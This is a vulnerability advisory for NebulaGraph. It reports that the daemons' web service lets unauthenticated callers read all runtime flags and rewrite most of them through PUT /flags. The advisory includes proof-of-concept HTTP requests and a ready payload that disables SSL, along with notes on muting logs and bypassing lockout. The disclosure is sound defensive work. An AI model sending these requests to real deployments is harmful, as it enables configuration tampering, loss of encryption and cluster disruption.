Web service GET /flags and PUT /flags accept unauthenticated requests, leaking and rewriting runtime configuration
reported via email on 25 May 2026 but did not get any response.
Summary
Every NebulaGraph daemon (metad, storaged, graphd) runs a built-in proxygen-based web service for status, statistics, and runtime gflag inspection/modification. The service binds to 0.0.0.0 by default and has no authentication on any route. GET /flags returns all 200+ gflag values in plaintext (including TLS certificate paths, password paths, data paths, SSL enable bits, and other operational settings). PUT /flags accepts a JSON map and applies the values at runtime via gflags::SetCommandLineOption; the only flag explicitly blocked is enable_authorize. Anyone with network reach to the web service port can read the full runtime configuration and silently disable SSL, change logging, alter cluster timeouts, or otherwise tamper with the daemon's behaviour without ever logging in.
Details
File: src/webservice/WebService.cpp
Default bind and routes:
DEFINE_int32(ws_http_port, 11000, "Port to listen on with HTTP protocol");
DEFINE_string(ws_ip, "0.0.0.0", "IP/Hostname to bind to");
...
router().get("/flags").handler([](web::PathParams&& params) {
return new GetFlagsHandler();
});
router().put("/flags").handler([](web::PathParams&& params) {
return new SetFlagsHandler();
});
router().get("/stats").handler([](web::PathParams&& params) {
return new GetStatsHandler();
});
router().get("/status").handler([](web::PathParams&& params) {
return new StatusHandler();
});No auth, whitelist, or apikey term appears in src/webservice/. The Router has no middleware hook for authentication.
SetFlagsHandler (file src/webservice/SetFlagsHandler.cpp) accepts a JSON body and invokes gflags::SetCommandLineOption(name, value) for every key, with one exception:
for (auto &item : flags.items()) {
try {
const std::string &name = item.first.asString();
if (name == "enable_authorize") {
LOG(ERROR) << "Modifying enable_authorize is not allowed";
ResponseBuilder(downstream_).status(...BAD_REQUEST...).sendWithEOM();
return;
}
const std::string &value = item.second.asString();
const std::string &newValue = gflags::SetCommandLineOption(name.c_str(), value.c_str());
...enable_authorize is blocked, but every other flag (SSL enable bits, log paths, cluster timeouts, audit-adjacent counters, RocksDB tuning, memory-tracker paths, page-cache controls, etc.) can be modified by any unauthenticated caller.
PoC
Tested against vesoft/nebula-metad:latest started with the documented arguments --ws_ip=0.0.0.0 --ws_http_port=19559 (matches the production defaults except for the example port).
Step 1 — unauthenticated GET /flags returns 200+ runtime gflag values:
GET /flags HTTP/1.1
Host: localhost:19559
->
HTTP/1.1 200 OK
Content-Length: 5325
check_plan_killed_frequency=8
cluster_id_path="cluster.id"
expired_time_factor=5
failed_login_attempts=0
heartbeat_interval_secs=10
meta_client_retry_interval_secs=1
meta_client_retry_times=3
meta_client_timeout_ms=60000
password_lock_time_in_secs=0
enable_udf=0
udf_path="lib/udf"
...
ca_path=""
cert_path=""
enable_graph_ssl=0
enable_meta_ssl=0
enable_ssl=0
key_path=""
password_path=""
data_path="data/meta"
...Step 2 — unauthenticated PUT /flags rewrites a runtime flag:
PUT /flags HTTP/1.1
Host: localhost:19559
Content-Type: application/json
{"heartbeat_interval_secs":"99"}
->
HTTP/1.1 200 OK
{ "errCode": 0 }Verify the change took effect:
GET /flags
->
... heartbeat_interval_secs=99 ...Step 3 — confirm enable_authorize is the only protected flag:
PUT /flags {"enable_authorize":"false"}
->
{ "failedOptions": ["enable_authorize"] }Every other flag, including enable_graph_ssl, enable_meta_ssl, enable_ssl, password_path, ca_path, cert_path, key_path, succeeds.
Impact
NebulaGraph deployments that leave the web service on its default bind address are exposed to unauthenticated read+write of the daemon's runtime configuration over the network. Concretely:
- Information disclosure:
GET /flagsreturns the full operating configuration of the daemon, including TLS certificate / key / CA paths, password file path, data directory, cluster identity file, and 200+ tuning parameters. Useful for fingerprinting and downstream attacks. - Disable SSL at runtime:
PUT /flags {"enable_graph_ssl":"0","enable_meta_ssl":"0","enable_ssl":"0"}— without restart, future connections initiated by the daemon (or expecting it as an SSL listener) lose their transport security. - Logging tampering:
stderr_log_file,stdout_log_file,log_disk_check_interval_secs, and related flags can be moved or muted. - Cluster disruption / DoS: arbitrary heartbeat intervals, meta-client retry counts, memory-tracker paths, and RocksDB WAL controls (
rocksdb_disable_wal=1) can be flipped on a running cluster. - Audit/lockout bypass:
failed_login_attempts,password_lock_time_in_secs, and similar are runtime-mutable.
The only safeguard is the single-flag denylist on enable_authorize. There is no general allowlist, no authentication, no token, and the default bind is 0.0.0.0. The README and operator documentation does not flag this as a hardening requirement in the default-config quickstart paths.
Suggested fix: gate the web service routes behind an authentication mechanism (shared token / mutual TLS / Basic auth shipped via env var) and either (a) change the default bind to 127.0.0.1, or (b) require explicit --ws_ip=0.0.0.0 to be paired with an auth secret. Alternatively, restrict PUT /flags (and the read of sensitive flag families) to localhost or to clients presenting a configured admin token.
Source: vesoft-inc/nebula